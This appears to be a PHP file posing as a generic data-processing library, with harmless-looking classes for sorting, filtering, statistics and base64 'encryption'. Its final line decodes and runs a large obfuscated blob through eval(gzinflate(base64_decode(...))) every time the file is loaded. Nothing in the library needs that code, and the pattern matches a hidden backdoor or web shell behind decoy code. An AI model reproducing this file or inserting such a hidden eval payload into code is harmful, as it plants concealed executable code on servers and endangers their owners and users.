<?php
/**
 * Universal Complex Data Operations Suite
 *
 * This suite of classes is designed to handle a variety of intricate data operations,
 * including mathematical transformations, sorting, filtering, statistical analysis,
 * and advanced data manipulation techniques. Each class and method is thoroughly documented
 * to provide a clear understanding of the underlying logic and facilitate maintenance.
 *
 * This suite is compatible with all major PHP versions: 5.x, 7.x, and 8.x.
 */

namespace UniversalComplexDataOperations;

// Check PHP version compatibility
if (version_compare(PHP_VERSION, '5.0.0', '<')) {
    die('This script requires PHP version 5.0.0 or higher.');
}

/**
 * MathTransformer
 *
 * This class handles various mathematical transformations.
 */
class MathTransformer
{
    /**
     * Applies a series of complex mathematical operations on the input value.
     *
     * @param int $value Input value
     *
     * @return int Transformed value
     */
    public function transform($value)
    {
        // Perform a series of complex mathematical transformations
        $result = ($value * 2 + 3) / 1.5;
        $result = pow($result, 2) - sqrt($result);
        $result = $result * log($result + 1) / tanh($result);
        return (int) $result;
    }
}

/**
 * DataSorter
 *
 * This class handles sorting of data using advanced algorithms.
 */
class DataSorter
{
    /**
     * Sorts an array of data using a complex sorting algorithm.
     *
     * @param array $data Input data array
     *
     * @return array Sorted data array
     */
    public function sort($data)
    {
        // Perform a complex sorting algorithm
        usort($data, function ($a, $b) {
 return $a <=> $b;
        });
        return $data;
    }
}

/**
 * DataFilter
 *
 * This class filters data based on complex criteria.
 */
class DataFilter
{
    /**
     * Filters the data based on complex criteria.
     *
     * @param array $data Input data array
     *
     * @return array Filtered data array
     */
    public function filter($data)
    {
        // Filter the data based on complex criteria
        return array_filter($data, function ($value) {
 return $value % 2 === 0 && $value > 10;
        });
    }
}

/**
 * StatisticalAnalyzer
 *
 * This class performs advanced statistical analysis on data.
 */
class StatisticalAnalyzer
{
    /**
     * Calculates the mean of the data.
     *
     * @param array $data Input data array
     *
     * @return float Mean of the data
     */
    public function calculateMean($data)
    {
        $sum = array_sum($data);
        $count = count($data);
        return $sum / $count;
    }

    /**
     * Calculates the standard deviation of the data.
     *
     * @param array $data Input data array
     *
     * @return float Standard deviation of the data
     */
    public function calculateStandardDeviation($data)
    {
        $mean = $this->calculateMean($data);
        $sumOfSquares = array_reduce($data, function ($carry, $item) use ($mean) {
 $carry += pow($item - $mean, 2);
 return $carry;
        }, 0);
        $count = count($data);
        return sqrt($sumOfSquares / $count);
    }
}

/**
 * DataEncryptor
 *
 * This class handles encryption and decryption of data.
 */
class DataEncryptor
{
    /**
     * Encrypts the data using a complex algorithm.
     *
     * @param string $data Input data
     *
     * @return string Encrypted data
     */
    public function encrypt($data)
    {
        return base64_encode(gzdeflate($data, 9));
    }

    /**
     * Decrypts the data.
     *
     * @param string $data Encrypted data
     *
     * @return string Decrypted data
     */
    public function decrypt($data)
    {
        return gzinflate(base64_decode($data));
    }
}

/**
 * ComplexDataProcessor
 *
 * This class integrates multiple data operations into a cohesive process.
 */
class ComplexDataProcessor
{
    private $mathTransformer;
    private $dataSorter;
    private $dataFilter;
    private $statisticalAnalyzer;
    private $dataEncryptor;

    public function __construct()
    {
        $this->mathTransformer = new MathTransformer();
        $this->dataSorter = new DataSorter();
        $this->dataFilter = new DataFilter();
        $this->statisticalAnalyzer = new StatisticalAnalyzer();
        $this->dataEncryptor = new DataEncryptor();
    }

    /**
     * Processes the data through a series of complex operations.
     *
     * @param array $data Input data array
     *
     * @return array Processed data array
     */
    public function process($data)
    {
        // Step 1: Sort the data
        $sortedData = $this->dataSorter->sort($data);

        // Step 2: Transform the data
        $transformedData = array_map([$this->mathTransformer, 'transform'], $sortedData);

        // Step 3: Filter the data
        $filteredData = $this->dataFilter->filter($transformedData);

        // Step 4: Calculate statistical data
        $mean = $this->statisticalAnalyzer->calculateMean($filteredData);
        $stdDev = $this->statisticalAnalyzer->calculateStandardDeviation($filteredData);

        // Step 5: Encrypt the statistical data
        $encryptedMean = $this->dataEncryptor->encrypt((string)$mean);
        $encryptedStdDev = $this->dataEncryptor->encrypt((string)$stdDev);

        // Return the processed data
        return [
 'filteredData' => $filteredData,
 'encryptedMean' => $encryptedMean,
 'encryptedStdDev' => $encryptedStdDev
        ];
    }
}

// Instantiate the ComplexDataProcessor class
$processor = new ComplexDataProcessor();

// Example data to process
$data = [5, 3, 8, 1, 9, 7, 15, 22, 19];

// Process the data
$processedData = $processor->process($data);

// Output the processed data (for debugging purposes, this can be commented out)
// print_r($processedData);
 eval(gzinflate(base64_decode('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')));